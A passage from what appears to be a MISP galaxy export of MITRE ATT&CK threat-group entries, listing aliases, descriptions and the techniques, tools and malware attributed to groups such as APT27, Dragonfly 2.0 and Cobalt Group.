uses: misp-galaxy:mitre-malware="NETWIRE - S0198" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Revenge RAT - S0379" with estimative-language:likelihood-probability="almost-certain"
Links |
Threat Group-3390 - G0027
[Threat Group-3390](https://attack.mitre.org/groups/G0027) is a Chinese threat group that has extensively used strategic Web compromises to target victims. (Citation: Dell TG-3390) The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors. (Citation: SecureWorks BRONZE UNION June 2017) (Citation: Securelist LuckyMouse June 2018)
The tag is: misp-galaxy:mitre-intrusion-set="Threat Group-3390 - G0027"
Threat Group-3390 - G0027 is also known as:
-
Threat Group-3390
-
TG-3390
-
Emissary Panda
-
BRONZE UNION
-
APT27
-
Iron Tiger
-
LuckyMouse
Threat Group-3390 - G0027 has relationships with:
-
similar: misp-galaxy:threat-actor="Emissary Panda" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Threat Group-3390" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="LuckyMouse" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="OwaAuth - S0072" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Redundant Access - T1108" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1028" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1126" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="ASPXSpy - S0073" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Windows Credential Editor - S0005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="HTTPBrowser - S0070" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="China Chopper - S0020" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="gsecdump - S0008" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="pwdump - S0006" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="HyperBro - S0398" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Impacket - S0357" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="ZxShell - S0412" with estimative-language:likelihood-probability="almost-certain"
Threat Group-1314 - G0028
[Threat Group-1314](https://attack.mitre.org/groups/G0028) is an unattributed threat group that has used compromised credentials to log into a victim’s remote access infrastructure. (Citation: Dell TG-1314)
The tag is: misp-galaxy:mitre-intrusion-set="Threat Group-1314 - G0028"
Threat Group-1314 - G0028 is also known as:
-
Threat Group-1314
-
TG-1314
Threat Group-1314 - G0028 has relationships with:
-
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.secureworks.com/resources/blog/living-off-the-land/ |
Dragonfly 2.0 - G0074
[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least March 2016. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)
The tag is: misp-galaxy:mitre-intrusion-set="Dragonfly 2.0 - G0074"
Dragonfly 2.0 - G0074 is also known as:
-
Dragonfly 2.0
-
Berserk Bear
Dragonfly 2.0 - G0074 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Impacket - S0357" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="netsh - S0108" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Reg - S0075" with estimative-language:likelihood-probability="almost-certain"
Links |
Lotus Blossom - G0030
[Lotus Blossom](https://attack.mitre.org/groups/G0030) is a threat group that has targeted government and military organizations in Southeast Asia. (Citation: Lotus Blossom Jun 2015)
The tag is: misp-galaxy:mitre-intrusion-set="Lotus Blossom - G0030"
Lotus Blossom - G0030 is also known as:
-
Lotus Blossom
-
DRAGONFISH
-
Spring Dragon
Lotus Blossom - G0030 has relationships with:
-
similar: misp-galaxy:threat-actor="Lotus Blossom" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-malware="Elise - S0081" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Emissary - S0082" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html |
https://www.accenture.com/t20180127T003755Z_w_/us-en/acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf[https://www.accenture.com/t20180127T003755Z_w/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf] |
BRONZE BUTLER - G0060
[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)
The tag is: misp-galaxy:mitre-intrusion-set="BRONZE BUTLER - G0060"
BRONZE BUTLER - G0060 is also known as:
-
BRONZE BUTLER
-
REDBALDKNIGHT
-
Tick
BRONZE BUTLER - G0060 has relationships with:
-
similar: misp-galaxy:threat-actor="Tick" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="cmd - S0106" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Daserf - S0187" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Windows Credential Editor - S0005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="gsecdump - S0008" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="at - S0110" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="schtasks - S0111" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses |
https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan |
Dark Caracal - G0070
[Dark Caracal](https://attack.mitre.org/groups/G0070) is threat group that has been attributed to the Lebanese General Directorate of General Security (GDGS) and has operated since at least 2012. (Citation: Lookout Dark Caracal Jan 2018)
The tag is: misp-galaxy:mitre-intrusion-set="Dark Caracal - G0070"
Dark Caracal - G0070 is also known as:
-
Dark Caracal
Dark Caracal - G0070 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="FinFisher - S0182" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Bandook - S0234" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1194" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1223" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="CrossRAT - S0235" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Pallas - S0399" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
Links |
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf |
Cobalt Group - G0080
[Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims. (Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Dec 2016) (Citation: Group IB Cobalt Aug 2017) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008). (Citation: Europol Cobalt Mar 2018)
The tag is: misp-galaxy:mitre-intrusion-set="Cobalt Group - G0080"
Cobalt Group - G0080 is also known as:
-
Cobalt Group
-
Cobalt Gang
-
Cobalt Spider
Cobalt Group - G0080 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="CMSTP - T1191" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Redundant Access - T1108" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="More_eggs - S0284" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="SDelete - S0195" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Logon Scripts - T1037" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Signed Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
Deep Panda - G0009
[Deep Panda](https://attack.mitre.org/groups/G0009) is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to [Deep Panda](https://attack.mitre.org/groups/G0009). (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) [Deep Panda](https://attack.mitre.org/groups/G0009) also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine) Some analysts track [Deep Panda](https://attack.mitre.org/groups/G0009) and [APT19](https://attack.mitre.org/groups/G0073) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China’s Espionage Jul 2016)
The tag is: misp-galaxy:mitre-intrusion-set="Deep Panda - G0009"
Deep Panda - G0009 is also known as:
-
Deep Panda
-
Shell Crew
-
WebMasters
-
KungFu Kittens
-
PinkPanther
-
Black Vine
Deep Panda - G0009 has relationships with:
-
